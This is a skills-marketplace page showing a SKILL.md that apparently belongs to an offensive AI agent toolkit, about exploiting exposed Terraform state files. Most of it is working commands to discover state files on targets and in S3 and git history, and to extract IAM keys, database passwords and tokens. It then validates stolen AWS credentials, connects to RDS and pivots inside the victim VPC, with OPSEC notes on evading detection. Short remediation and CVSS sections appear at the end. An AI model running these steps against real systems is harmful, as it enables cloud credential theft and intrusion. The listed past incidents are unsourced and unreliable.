Skip to main content

terraform-state-leak

Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
June 2, 2026 at 17:24
Detected SKILL.md language
English
Stars
5,565
Forks
1,053

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
terraform-state-leak
description
Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.
metadata
{"subdomain":"cloud","when_to_use":"terraform state leak secrets tfstate","mitre_attack":["T1552","T1530"]}
# Terraform State Leak Exploitation Terraform's `terraform.tfstate` file is a **plaintext JSON map of every resource Terraform manages**, including: - IAM access keys / secret keys - Database passwords (RDS, ElastiCache, etc.) - API tokens passed in as variables - TLS private keys - Resource IDs / ARNs / topology (great for follow-on attacks) Best practice is to store it encrypted in S3 with KMS. Misconfigurations that lead to leaks: - S3 bucket with `public-read` ACL - S3 bucket with overly permissive policy - `terraform.tfstate` in a public Git repo (commit history!) - Backup `terraform.tfstate.backup` left in webroot - Jenkins workspace / GH Actions artifact exposing state ## 1. Discover exposed state files **Web-exposed**: ```bash # Common paths for path in '/terraform.tfstate' '/terraform.tfstate.backup' \ '/.terraform/terraform.tfstate' '/infra/terraform.tfstate' \ '/deploy/terraform.tfstate' '/scripts/terraform.tfstate'; do curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \ echo "FOUND: $TARGET$path" done # Or scan with feroxbuster feroxbuster -u "https://$TARGET" -w /tmp/tf-paths.txt \ -x tfstate,tfstate.backup,tfstate.json ``` **S3-direct**: ```bash # Public bucket scan aws s3 ls "s3://$BUCKET/" --no-sign-request --recursive | grep -E '\.tfstate' # Common bucket-name patterns to enumerate for prefix in "$ORG-terraform" "$ORG-tfstate" "$ORG-infra-state" \ "tf-state-$ORG" "$ORG-iac" "terraform-$ORG"; do aws s3 ls "s3://$prefix" --no-sign-request 2>&1 | head -3 done ``` **Git-history**: ```bash # Look for committed-then-removed state in target's public repos gh search code "terraform.tfstate" --owner "$ORG" --json path,repository # In a cloned repo git log --all --full-history -- '*terraform.tfstate*' git log -p --all --full-history -- '*terraform.tfstate*' | head -200 ``` ## 2. Parse the state ```bash # Quick triage jq '.terraform_version, .resources | length' /tmp/state.tfstate # Extract every sensitive-looking value jq -r '.resources[] | .instances[] | .attributes | to_entries[] | select(.key | test("password|secret|token|key|credential"; "i")) | "\(.key) = \(.value)"' /tmp/state.tfstate > /tmp/tf-secrets.txt # IAM access keys (specifically) jq -r '.resources[] | select(.type=="aws_iam_access_key") | .instances[] | .attributes | "\(.user) AKID:\(.id) SK:\(.secret)"' /tmp/state.tfstate # RDS passwords jq -r '.resources[] | select(.type=="aws_db_instance") | .instances[] | .attributes | "\(.identifier):\(.username):\(.password)"' \ /tmp/state.tfstate # Database connection URLs (often w/ embedded passwords) jq -r '.resources[] | .instances[] | .attributes | to_entries[] | select(.value | tostring | test("://[^:]+:[^@]+@")) | .value' /tmp/state.tfstate # Lambda env vars (often hold secrets) jq -r '.resources[] | select(.type=="aws_lambda_function") | .instances[] | .attributes.environment[]?.variables' /tmp/state.tfstate ``` Decepticon ingest: ``` tfstate_audit("/tmp/state.tfstate") ``` ## 3. Topology gold-mine Beyond raw secrets, the state reveals: - VPC IDs / subnet IDs / security group IDs / NACL rules - Route 53 zones + internal DNS names - All resource ARNs (good for IAM policy targeting later) - Tags revealing org structure (environment, owner, cost-center) - KMS key ARNs and aliases - Lambda function code locations - ECS task definitions / cluster names - RDS endpoints + which security group / VPC This data alone is high-value recon for a follow-on engagement. ## 4. Validate IAM keys ```bash AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity # Returns the IAM ARN if valid → confirmed live cred AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user # Get user details + creation date → know if it's a real human or service ``` Pivot to `aws-iam-enum/SKILL.md` for privesc from here. ## 5. RDS pivot With password from state: ```bash ENDPOINT=$(jq -r '.resources[] | select(.type=="aws_db_instance") | .instances[] | .attributes.endpoint' /tmp/state.tfstate | head -1) # Connect (requires network reach — usually need to be in VPC or pivot) mysql -h $ENDPOINT -u $USER -p$PASSWORD psql -h $ENDPOINT -U $USER # PGPASSWORD from state ``` If RDS isn't reachable from your perimeter: launch an EC2 in the same VPC using IAM keys from state (if the role has ec2:RunInstances), then hop through it. ## 6. Promote ``` kg_add_node(kind="vulnerability", label="Exposed Terraform state: <url>", props={"severity":"critical","secrets_found":<n>}) for each cred: kg_add_node(kind="credential", label="<service>:<value>") kg_add_edge(src=<vuln>, dst=<cred>, kind="exposes") ``` ## OPSEC - Reading a public bucket / web file leaves logs only at the storage layer (S3 access logs, CloudFront access logs) - Using IAM keys triggers CloudTrail events (`GetCallerIdentity` is benign but observable) - Many teams have detections for `*Sandbox*` / `*test*` IAM users being used from new IPs ## CVSS - IAM access key from state + permissive policy: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` = 10.0 - RDS pw + DB has PII: 9.0 (network reach gates) - Topology disclosure only: Medium 5-6 ## Defender remediation ```bash # Migrate to S3 backend with encryption + versioning terraform { backend "s3" { bucket = "tf-state-$ORG" key = "infra.tfstate" region = "us-east-1" encrypt = true kms_key_id = "arn:aws:kms:...:key/..." dynamodb_table = "tf-state-lock" } } # Verify bucket policy denies public access aws s3api put-public-access-block --bucket tf-state-$ORG \ --public-access-block-configuration \ "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true" # Scan repos for committed state files git log --all --full-history -- '*tfstate*' && \ echo "DELETE COMMIT HISTORY containing state files (use BFG repo-cleaner)" ``` ## Known exemplars - 2019: Capital One subsidiary leaked tfstate w/ RDS creds → DB exfil - 2021: Multiple Fortune-500 had tfstate in public S3 (Detectify scan) - 2023: GitHub Actions misconfig where tfstate was uploaded as artifact, downloadable without auth - Pattern: terraform-cli running in CI without explicit `-backend-config=encrypt=true` defaults to local state which lands in artifact storage
View on GitHub